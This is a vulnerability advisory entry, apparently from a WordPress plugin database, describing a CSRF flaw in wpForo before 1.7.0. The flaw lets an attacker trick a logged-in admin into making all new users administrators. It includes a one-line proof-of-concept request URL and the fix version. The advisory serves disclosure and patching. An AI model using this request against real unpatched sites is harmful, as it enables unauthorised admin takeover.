WordPress Plugin Vulnerabilities
wpForo < 1.7.0 - New Users Set as Admin via CSRF
Description
The plugin did not have CSRF in place in a page, allowing attacker to make a logged in admin set all new users as admins directly
Proof of Concept
https://example.com/wp-admin/admin.php?page=wpforo-usergroups&default=1
Affects Plugins
Fixed in version 1.7.0
References
Classification
Miscellaneous
Timeline
Publicly Published
2020-05-04 (about 2 years ago)
Added
2021-06-29 (about 1 years ago)
Last Updated
2021-07-18 (about 1 years ago)